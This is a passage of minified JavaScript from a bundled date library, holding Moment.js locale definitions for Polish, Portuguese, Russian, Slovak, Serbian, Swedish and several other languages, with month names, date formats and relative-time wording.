t="styczeń_luty_marzec_kwiecień_maj_czerwiec_lipiec_sierpień_wrzesień_październik_listopad_grudzień".split("_"),n="stycznia_lutego_marca_kwietnia_maja_czerwca_lipca_sierpnia_września_października_listopada_grudnia".split("_"),r=[/^sty/i,/^lut/i,/^mar/i,/^kwi/i,/^maj/i,/^cze/i,/^lip/i,/^sie/i,/^wrz/i,/^paź/i,/^lis/i,/^gru/i];function i(e){return e%10<5&&e%10>1&&~~(e/10)%10!=1}function s(e,t,n){var r=e+" ";switch(n){case"ss":return r+(i(e)?"sekundy":"sekund");case"m":return t?"minuta":"minutę";case"mm":return r+(i(e)?"minuty":"minut");case"h":return t?"godzina":"godzinę";case"hh":return r+(i(e)?"godziny":"godzin");case"ww":return r+(i(e)?"tygodnie":"tygodni");case"MM":return r+(i(e)?"miesiące":"miesięcy");case"yy":return r+(i(e)?"lata":"lat")}}e.defineLocale("pl",{months:function(e,r){return e?/D MMMM/.test(r)?n[e.month()]:t[e.month()]:t},monthsShort:"sty_lut_mar_kwi_maj_cze_lip_sie_wrz_paź_lis_gru".split("_"),monthsParse:r,longMonthsParse:r,shortMonthsParse:r,weekdays:"niedziela_poniedziałek_wtorek_środa_czwartek_piątek_sobota".split("_"),weekdaysShort:"ndz_pon_wt_śr_czw_pt_sob".split("_"),weekdaysMin:"Nd_Pn_Wt_Śr_Cz_Pt_So".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Dziś o] LT",nextDay:"[Jutro o] LT",nextWeek:function(){switch(this.day()){case 0:return"[W niedzielę o] LT";case 2:return"[We wtorek o] LT";case 3:return"[W środę o] LT";case 6:return"[W sobotę o] LT";default:return"[W] dddd [o] LT"}},lastDay:"[Wczoraj o] LT",lastWeek:function(){switch(this.day()){case 0:return"[W zeszłą niedzielę o] LT";case 3:return"[W zeszłą środę o] LT";case 6:return"[W zeszłą sobotę o] LT";default:return"[W zeszły] dddd [o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"%s temu",s:"kilka sekund",ss:s,m:s,mm:s,h:s,hh:s,d:"1 dzień",dd:"%d dni",w:"tydzień",ww:s,M:"miesiąc",MM:s,y:"rok",yy:s},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},7971:function(e,t,n){!function(e){"use strict";e.defineLocale("pt-br",{months:"janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"domingo_segunda-feira_terça-feira_quarta-feira_quinta-feira_sexta-feira_sábado".split("_"),weekdaysShort:"dom_seg_ter_qua_qui_sex_sáb".split("_"),weekdaysMin:"do_2ª_3ª_4ª_5ª_6ª_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY [às] HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY [às] HH:mm"},calendar:{sameDay:"[Hoje às] LT",nextDay:"[Amanhã às] LT",nextWeek:"dddd [às] LT",lastDay:"[Ontem às] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[Último] dddd [às] LT":"[Última] dddd [às] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"há %s",s:"poucos segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",M:"um mês",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",invalidDate:"Data inválida"})}(n(381))},9520:function(e,t,n){!function(e){"use strict";e.defineLocale("pt",{months:"janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado".split("_"),weekdaysShort:"Dom_Seg_Ter_Qua_Qui_Sex_Sáb".split("_"),weekdaysMin:"Do_2ª_3ª_4ª_5ª_6ª_Sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY HH:mm"},calendar:{sameDay:"[Hoje às] LT",nextDay:"[Amanhã às] LT",nextWeek:"dddd [às] LT",lastDay:"[Ontem às] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[Último] dddd [às] LT":"[Última] dddd [às] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"há %s",s:"segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",w:"uma semana",ww:"%d semanas",M:"um mês",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(381))},6459:function(e,t,n){!function(e){"use strict";function t(e,t,n){var r=" ";return(e%100>=20||e>=100&&e%100==0)&&(r=" de "),e+r+{ss:"secunde",mm:"minute",hh:"ore",dd:"zile",ww:"săptămâni",MM:"luni",yy:"ani"}[n]}e.defineLocale("ro",{months:"ianuarie_februarie_martie_aprilie_mai_iunie_iulie_august_septembrie_octombrie_noiembrie_decembrie".split("_"),monthsShort:"ian._feb._mart._apr._mai_iun._iul._aug._sept._oct._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"duminică_luni_marți_miercuri_joi_vineri_sâmbătă".split("_"),weekdaysShort:"Dum_Lun_Mar_Mie_Joi_Vin_Sâm".split("_"),weekdaysMin:"Du_Lu_Ma_Mi_Jo_Vi_Sâ".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[azi la] LT",nextDay:"[mâine la] LT",nextWeek:"dddd [la] LT",lastDay:"[ieri la] LT",lastWeek:"[fosta] dddd [la] LT",sameElse:"L"},relativeTime:{future:"peste %s",past:"%s în urmă",s:"câteva secunde",ss:t,m:"un minut",mm:t,h:"o oră",hh:t,d:"o zi",dd:t,w:"o săptămână",ww:t,M:"o lună",MM:t,y:"un an",yy:t},week:{dow:1,doy:7}})}(n(381))},1793:function(e,t,n){!function(e){"use strict";function t(e,t){var n=e.split("_");return t%10==1&&t%100!=11?n[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?n[1]:n[2]}function n(e,n,r){return"m"===r?n?"минута":"минуту":e+" "+t({ss:n?"секунда_секунды_секунд":"секунду_секунды_секунд",mm:n?"минута_минуты_минут":"минуту_минуты_минут",hh:"час_часа_часов",dd:"день_дня_дней",ww:"неделя_недели_недель",MM:"месяц_месяца_месяцев",yy:"год_года_лет"}[r],+e)}var r=[/^янв/i,/^фев/i,/^мар/i,/^апр/i,/^ма[йя]/i,/^июн/i,/^июл/i,/^авг/i,/^сен/i,/^окт/i,/^ноя/i,/^дек/i];e.defineLocale("ru",{months:{format:"января_февраля_марта_апреля_мая_июня_июля_августа_сентября_октября_ноября_декабря".split("_"),standalone:"январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_")},monthsShort:{format:"янв._февр._мар._апр._мая_июня_июля_авг._сент._окт._нояб._дек.".split("_"),standalone:"янв._февр._март_апр._май_июнь_июль_авг._сент._окт._нояб._дек.".split("_")},weekdays:{standalone:"воскресенье_понедельник_вторник_среда_четверг_пятница_суббота".split("_"),format:"воскресенье_понедельник_вторник_среду_четверг_пятницу_субботу".split("_"),isFormat:/\[ ?[Вв] ?(?:прошлую|следующую|эту)? ?] ?dddd/},weekdaysShort:"вс_пн_вт_ср_чт_пт_сб".split("_"),weekdaysMin:"вс_пн_вт_ср_чт_пт_сб".split("_"),monthsParse:r,longMonthsParse:r,shortMonthsParse:r,monthsRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsShortRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsStrictRegex:/^(январ[яь]|феврал[яь]|марта?|апрел[яь]|ма[яй]|июн[яь]|июл[яь]|августа?|сентябр[яь]|октябр[яь]|ноябр[яь]|декабр[яь])/i,monthsShortStrictRegex:/^(янв\.|февр?\.|мар[т.]|апр\.|ма[яй]|июн[ья.]|июл[ья.]|авг\.|сент?\.|окт\.|нояб?\.|дек\.)/i,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., H:mm",LLLL:"dddd, D MMMM YYYY г., H:mm"},calendar:{sameDay:"[Сегодня, в] LT",nextDay:"[Завтра, в] LT",lastDay:"[Вчера, в] LT",nextWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В следующее] dddd, [в] LT";case 1:case 2:case 4:return"[В следующий] dddd, [в] LT";case 3:case 5:case 6:return"[В следующую] dddd, [в] LT"}},lastWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В прошлое] dddd, [в] LT";case 1:case 2:case 4:return"[В прошлый] dddd, [в] LT";case 3:case 5:case 6:return"[В прошлую] dddd, [в] LT"}},sameElse:"L"},relativeTime:{future:"через %s",past:"%s назад",s:"несколько секунд",ss:n,m:n,mm:n,h:"час",hh:n,d:"день",dd:n,w:"неделя",ww:n,M:"месяц",MM:n,y:"год",yy:n},meridiemParse:/ночи|утра|дня|вечера/i,isPM:function(e){return/^(дня|вечера)$/.test(e)},meridiem:function(e,t,n){return e<4?"ночи":e<12?"утра":e<17?"дня":"вечера"},dayOfMonthOrdinalParse:/\d{1,2}-(й|го|я)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":return e+"-й";case"D":return e+"-го";case"w":case"W":return e+"-я";default:return e}},week:{dow:1,doy:4}})}(n(381))},950:function(e,t,n){!function(e){"use strict";var t=["جنوري","فيبروري","مارچ","اپريل","مئي","جون","جولاءِ","آگسٽ","سيپٽمبر","آڪٽوبر","نومبر","ڊسمبر"],n=["آچر","سومر","اڱارو","اربع","خميس","جمع","ڇنڇر"];e.defineLocale("sd",{months:t,monthsShort:t,weekdays:n,weekdaysShort:n,weekdaysMin:n,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd، D MMMM YYYY HH:mm"},meridiemParse:/صبح|شام/,isPM:function(e){return"شام"===e},meridiem:function(e,t,n){return e<12?"صبح":"شام"},calendar:{sameDay:"[اڄ] LT",nextDay:"[سڀاڻي] LT",nextWeek:"dddd [اڳين هفتي تي] LT",lastDay:"[ڪالهه] LT",lastWeek:"[گزريل هفتي] dddd [تي] LT",sameElse:"L"},relativeTime:{future:"%s پوء",past:"%s اڳ",s:"چند سيڪنڊ",ss:"%d سيڪنڊ",m:"هڪ منٽ",mm:"%d منٽ",h:"هڪ ڪلاڪ",hh:"%d ڪلاڪ",d:"هڪ ڏينهن",dd:"%d ڏينهن",M:"هڪ مهينو",MM:"%d مهينا",y:"هڪ سال",yy:"%d سال"},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:1,doy:4}})}(n(381))},490:function(e,t,n){!function(e){"use strict";e.defineLocale("se",{months:"ođđajagemánnu_guovvamánnu_njukčamánnu_cuoŋománnu_miessemánnu_geassemánnu_suoidnemánnu_borgemánnu_čakčamánnu_golggotmánnu_skábmamánnu_juovlamánnu".split("_"),monthsShort:"ođđj_guov_njuk_cuo_mies_geas_suoi_borg_čakč_golg_skáb_juov".split("_"),weekdays:"sotnabeaivi_vuossárga_maŋŋebárga_gaskavahkku_duorastat_bearjadat_lávvardat".split("_"),weekdaysShort:"sotn_vuos_maŋ_gask_duor_bear_láv".split("_"),weekdaysMin:"s_v_m_g_d_b_L".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"MMMM D. [b.] YYYY",LLL:"MMMM D. [b.] YYYY [ti.] HH:mm",LLLL:"dddd, MMMM D. [b.] YYYY [ti.] HH:mm"},calendar:{sameDay:"[otne ti] LT",nextDay:"[ihttin ti] LT",nextWeek:"dddd [ti] LT",lastDay:"[ikte ti] LT",lastWeek:"[ovddit] dddd [ti] LT",sameElse:"L"},relativeTime:{future:"%s geažes",past:"maŋit %s",s:"moadde sekunddat",ss:"%d sekunddat",m:"okta minuhta",mm:"%d minuhtat",h:"okta diimmu",hh:"%d diimmut",d:"okta beaivi",dd:"%d beaivvit",M:"okta mánnu",MM:"%d mánut",y:"okta jahki",yy:"%d jagit"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},124:function(e,t,n){!function(e){"use strict";e.defineLocale("si",{months:"ජනවාරි_පෙබරවාරි_මාර්තු_අප්‍රේල්_මැයි_ජූනි_ජූලි_අගෝස්තු_සැප්තැම්බර්_ඔක්තෝබර්_නොවැම්බර්_දෙසැම්බර්".split("_"),monthsShort:"ජන_පෙබ_මාර්_අප්_මැයි_ජූනි_ජූලි_අගෝ_සැප්_ඔක්_නොවැ_දෙසැ".split("_"),weekdays:"ඉරිදා_සඳුදා_අඟහරුවාදා_බදාදා_බ්‍රහස්පතින්දා_සිකුරාදා_සෙනසුරාදා".split("_"),weekdaysShort:"ඉරි_සඳු_අඟ_බදා_බ්‍රහ_සිකු_සෙන".split("_"),weekdaysMin:"ඉ_ස_අ_බ_බ්‍ර_සි_සෙ".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"a h:mm",LTS:"a h:mm:ss",L:"YYYY/MM/DD",LL:"YYYY MMMM D",LLL:"YYYY MMMM D, a h:mm",LLLL:"YYYY MMMM D [වැනි] dddd, a h:mm:ss"},calendar:{sameDay:"[අද] LT[ට]",nextDay:"[හෙට] LT[ට]",nextWeek:"dddd LT[ට]",lastDay:"[ඊයේ] LT[ට]",lastWeek:"[පසුගිය] dddd LT[ට]",sameElse:"L"},relativeTime:{future:"%sකින්",past:"%sකට පෙර",s:"තත්පර කිහිපය",ss:"තත්පර %d",m:"මිනිත්තුව",mm:"මිනිත්තු %d",h:"පැය",hh:"පැය %d",d:"දිනය",dd:"දින %d",M:"මාසය",MM:"මාස %d",y:"වසර",yy:"වසර %d"},dayOfMonthOrdinalParse:/\d{1,2} වැනි/,ordinal:function(e){return e+" වැනි"},meridiemParse:/පෙර වරු|පස් වරු|පෙ.ව|ප.ව./,isPM:function(e){return"ප.ව."===e||"පස් වරු"===e},meridiem:function(e,t,n){return e>11?n?"ප.ව.":"පස් වරු":n?"පෙ.ව.":"පෙර වරු"}})}(n(381))},4249:function(e,t,n){!function(e){"use strict";var t="január_február_marec_apríl_máj_jún_júl_august_september_október_november_december".split("_"),n="jan_feb_mar_apr_máj_jún_júl_aug_sep_okt_nov_dec".split("_");function r(e){return e>1&&e<5}function i(e,t,n,i){var s=e+" ";switch(n){case"s":return t||i?"pár sekúnd":"pár sekundami";case"ss":return t||i?s+(r(e)?"sekundy":"sekúnd"):s+"sekundami";case"m":return t?"minúta":i?"minútu":"minútou";case"mm":return t||i?s+(r(e)?"minúty":"minút"):s+"minútami";case"h":return t?"hodina":i?"hodinu":"hodinou";case"hh":return t||i?s+(r(e)?"hodiny":"hodín"):s+"hodinami";case"d":return t||i?"deň":"dňom";case"dd":return t||i?s+(r(e)?"dni":"dní"):s+"dňami";case"M":return t||i?"mesiac":"mesiacom";case"MM":return t||i?s+(r(e)?"mesiace":"mesiacov"):s+"mesiacmi";case"y":return t||i?"rok":"rokom";case"yy":return t||i?s+(r(e)?"roky":"rokov"):s+"rokmi"}}e.defineLocale("sk",{months:t,monthsShort:n,weekdays:"nedeľa_pondelok_utorok_streda_štvrtok_piatok_sobota".split("_"),weekdaysShort:"ne_po_ut_st_št_pi_so".split("_"),weekdaysMin:"ne_po_ut_st_št_pi_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm"},calendar:{sameDay:"[dnes o] LT",nextDay:"[zajtra o] LT",nextWeek:function(){switch(this.day()){case 0:return"[v nedeľu o] LT";case 1:case 2:return"[v] dddd [o] LT";case 3:return"[v stredu o] LT";case 4:return"[vo štvrtok o] LT";case 5:return"[v piatok o] LT";case 6:return"[v sobotu o] LT"}},lastDay:"[včera o] LT",lastWeek:function(){switch(this.day()){case 0:return"[minulú nedeľu o] LT";case 1:case 2:return"[minulý] dddd [o] LT";case 3:return"[minulú stredu o] LT";case 4:case 5:return"[minulý] dddd [o] LT";case 6:return"[minulú sobotu o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"pred %s",s:i,ss:i,m:i,mm:i,h:i,hh:i,d:i,dd:i,M:i,MM:i,y:i,yy:i},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},4985:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i=e+" ";switch(n){case"s":return t||r?"nekaj sekund":"nekaj sekundami";case"ss":return i+=1===e?t?"sekundo":"sekundi":2===e?t||r?"sekundi":"sekundah":e<5?t||r?"sekunde":"sekundah":"sekund";case"m":return t?"ena minuta":"eno minuto";case"mm":return i+=1===e?t?"minuta":"minuto":2===e?t||r?"minuti":"minutama":e<5?t||r?"minute":"minutami":t||r?"minut":"minutami";case"h":return t?"ena ura":"eno uro";case"hh":return i+=1===e?t?"ura":"uro":2===e?t||r?"uri":"urama":e<5?t||r?"ure":"urami":t||r?"ur":"urami";case"d":return t||r?"en dan":"enim dnem";case"dd":return i+=1===e?t||r?"dan":"dnem":2===e?t||r?"dni":"dnevoma":t||r?"dni":"dnevi";case"M":return t||r?"en mesec":"enim mesecem";case"MM":return i+=1===e?t||r?"mesec":"mesecem":2===e?t||r?"meseca":"mesecema":e<5?t||r?"mesece":"meseci":t||r?"mesecev":"meseci";case"y":return t||r?"eno leto":"enim letom";case"yy":return i+=1===e?t||r?"leto":"letom":2===e?t||r?"leti":"letoma":e<5?t||r?"leta":"leti":t||r?"let":"leti"}}e.defineLocale("sl",{months:"januar_februar_marec_april_maj_junij_julij_avgust_september_oktober_november_december".split("_"),monthsShort:"jan._feb._mar._apr._maj._jun._jul._avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedelja_ponedeljek_torek_sreda_četrtek_petek_sobota".split("_"),weekdaysShort:"ned._pon._tor._sre._čet._pet._sob.".split("_"),weekdaysMin:"ne_po_to_sr_če_pe_so".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD. MM. YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danes ob] LT",nextDay:"[jutri ob] LT",nextWeek:function(){switch(this.day()){case 0:return"[v] [nedeljo] [ob] LT";case 3:return"[v] [sredo] [ob] LT";case 6:return"[v] [soboto] [ob] LT";case 1:case 2:case 4:case 5:return"[v] dddd [ob] LT"}},lastDay:"[včeraj ob] LT",lastWeek:function(){switch(this.day()){case 0:return"[prejšnjo] [nedeljo] [ob] LT";case 3:return"[prejšnjo] [sredo] [ob] LT";case 6:return"[prejšnjo] [soboto] [ob] LT";case 1:case 2:case 4:case 5:return"[prejšnji] dddd [ob] LT"}},sameElse:"L"},relativeTime:{future:"čez %s",past:"pred %s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},1104:function(e,t,n){!function(e){"use strict";e.defineLocale("sq",{months:"Janar_Shkurt_Mars_Prill_Maj_Qershor_Korrik_Gusht_Shtator_Tetor_Nëntor_Dhjetor".split("_"),monthsShort:"Jan_Shk_Mar_Pri_Maj_Qer_Kor_Gus_Sht_Tet_Nën_Dhj".split("_"),weekdays:"E Diel_E Hënë_E Martë_E Mërkurë_E Enjte_E Premte_E Shtunë".split("_"),weekdaysShort:"Die_Hën_Mar_Mër_Enj_Pre_Sht".split("_"),weekdaysMin:"D_H_Ma_Më_E_P_Sh".split("_"),weekdaysParseExact:!0,meridiemParse:/PD|MD/,isPM:function(e){return"M"===e.charAt(0)},meridiem:function(e,t,n){return e<12?"PD":"MD"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Sot në] LT",nextDay:"[Nesër në] LT",nextWeek:"dddd [në] LT",lastDay:"[Dje në] LT",lastWeek:"dddd [e kaluar në] LT",sameElse:"L"},relativeTime:{future:"në %s",past:"%s më parë",s:"disa sekonda",ss:"%d sekonda",m:"një minutë",mm:"%d minuta",h:"një orë",hh:"%d orë",d:"një ditë",dd:"%d ditë",M:"një muaj",MM:"%d muaj",y:"një vit",yy:"%d vite"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},9915:function(e,t,n){!function(e){"use strict";var t={words:{ss:["секунда","секунде","секунди"],m:["један минут","једне минуте"],mm:["минут","минуте","минута"],h:["један сат","једног сата"],hh:["сат","сата","сати"],dd:["дан","дана","дана"],MM:["месец","месеца","месеци"],yy:["година","године","година"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,n,r){var i=t.words[r];return 1===r.length?n?i[0]:i[1]:e+" "+t.correctGrammaticalCase(e,i)}};e.defineLocale("sr-cyrl",{months:"јануар_фебруар_март_април_мај_јун_јул_август_септембар_октобар_новембар_децембар".split("_"),monthsShort:"јан._феб._мар._апр._мај_јун_јул_авг._сеп._окт._нов._дец.".split("_"),monthsParseExact:!0,weekdays:"недеља_понедељак_уторак_среда_четвртак_петак_субота".split("_"),weekdaysShort:"нед._пон._уто._сре._чет._пет._суб.".split("_"),weekdaysMin:"не_по_ут_ср_че_пе_су".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D. M. YYYY.",LL:"D. MMMM YYYY.",LLL:"D. MMMM YYYY. H:mm",LLLL:"dddd, D. MMMM YYYY. H:mm"},calendar:{sameDay:"[данас у] LT",nextDay:"[сутра у] LT",nextWeek:function(){switch(this.day()){case 0:return"[у] [недељу] [у] LT";case 3:return"[у] [среду] [у] LT";case 6:return"[у] [суботу] [у] LT";case 1:case 2:case 4:case 5:return"[у] dddd [у] LT"}},lastDay:"[јуче у] LT",lastWeek:function(){return["[прошле] [недеље] [у] LT","[прошлог] [понедељка] [у] LT","[прошлог] [уторка] [у] LT","[прошле] [среде] [у] LT","[прошлог] [четвртка] [у] LT","[прошлог] [петка] [у] LT","[прошле] [суботе] [у] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"за %s",past:"пре %s",s:"неколико секунди",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"дан",dd:t.translate,M:"месец",MM:t.translate,y:"годину",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},9131:function(e,t,n){!function(e){"use strict";var t={words:{ss:["sekunda","sekunde","sekundi"],m:["jedan minut","jedne minute"],mm:["minut","minute","minuta"],h:["jedan sat","jednog sata"],hh:["sat","sata","sati"],dd:["dan","dana","dana"],MM:["mesec","meseca","meseci"],yy:["godina","godine","godina"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,n,r){var i=t.words[r];return 1===r.length?n?i[0]:i[1]:e+" "+t.correctGrammaticalCase(e,i)}};e.defineLocale("sr",{months:"januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedelja_ponedeljak_utorak_sreda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sre._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D. M. YYYY.",LL:"D. MMMM YYYY.",LLL:"D. MMMM YYYY. H:mm",LLLL:"dddd, D. MMMM YYYY. H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedelju] [u] LT";case 3:return"[u] [sredu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[juče u] LT",lastWeek:function(){return["[prošle] [nedelje] [u] LT","[prošlog] [ponedeljka] [u] LT","[prošlog] [utorka] [u] LT","[prošle] [srede] [u] LT","[prošlog] [četvrtka] [u] LT","[prošlog] [petka] [u] LT","[prošle] [subote] [u] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"za %s",past:"pre %s",s:"nekoliko sekundi",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"dan",dd:t.translate,M:"mesec",MM:t.translate,y:"godinu",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},5893:function(e,t,n){!function(e){"use strict";e.defineLocale("ss",{months:"Bhimbidvwane_Indlovana_Indlov'lenkhulu_Mabasa_Inkhwekhweti_Inhlaba_Kholwane_Ingci_Inyoni_Imphala_Lweti_Ingongoni".split("_"),monthsShort:"Bhi_Ina_Inu_Mab_Ink_Inh_Kho_Igc_Iny_Imp_Lwe_Igo".split("_"),weekdays:"Lisontfo_Umsombuluko_Lesibili_Lesitsatfu_Lesine_Lesihlanu_Umgcibelo".split("_"),weekdaysShort:"Lis_Umb_Lsb_Les_Lsi_Lsh_Umg".split("_"),weekdaysMin:"Li_Us_Lb_Lt_Ls_Lh_Ug".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Namuhla nga] LT",nextDay:"[Kusasa nga] LT",nextWeek:"dddd [nga] LT",lastDay:"[Itolo nga] LT",lastWeek:"dddd [leliphelile] [nga] LT",sameElse:"L"},relativeTime:{future:"nga %s",past:"wenteka nga %s",s:"emizuzwana lomcane",ss:"%d mzuzwana",m:"umzuzu",mm:"%d emizuzu",h:"lihora",hh:"%d emahora",d:"lilanga",dd:"%d emalanga",M:"inyanga",MM:"%d tinyanga",y:"umnyaka",yy:"%d iminyaka"},meridiemParse:/ekuseni|emini|entsambama|ebusuku/,meridiem:function(e,t,n){return e<11?"ekuseni":e<15?"emini":e<19?"entsambama":"ebusuku"},meridiemHour:function(e,t){return 12===e&&(e=0),"ekuseni"===t?e:"emini"===t?e>=11?e:e+12:"entsambama"===t||"ebusuku"===t?0===e?0:e+12:void 0},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:"%d",week:{dow:1,doy:4}})}(n(381))},8760:function(e,t,n){!function(e){"use strict";e.defineLocale("sv",{months:"januari_februari_mars_april_maj_juni_juli_augusti_september_oktober_november_december".split("_"),monthsShort:"jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"),weekdays:"söndag_måndag_tisdag_onsdag_torsdag_fredag_lördag".split("_"),weekdaysShort:"sön_mån_tis_ons_tor_fre_lör".split("_"),weekdaysMin:"sö_må_ti_on_to_fr_lö".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [kl.] HH:mm",LLLL:"dddd D MMMM YYYY [kl.] HH:mm",lll:"D MMM YYYY HH:mm",llll:"ddd D MMM YYYY HH:mm"},calendar:{sameDay:"[Idag] LT",nextDay:"[Imorgon] LT",lastDay:"[Igår] LT",nextWeek:"[På] dddd LT",lastWeek:"[I] dddd[s] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"för %s sedan",s:"några sekunder",ss:"%d sekunder",m:"en minut",mm:"%d minuter",h:"en timme",hh:"%d 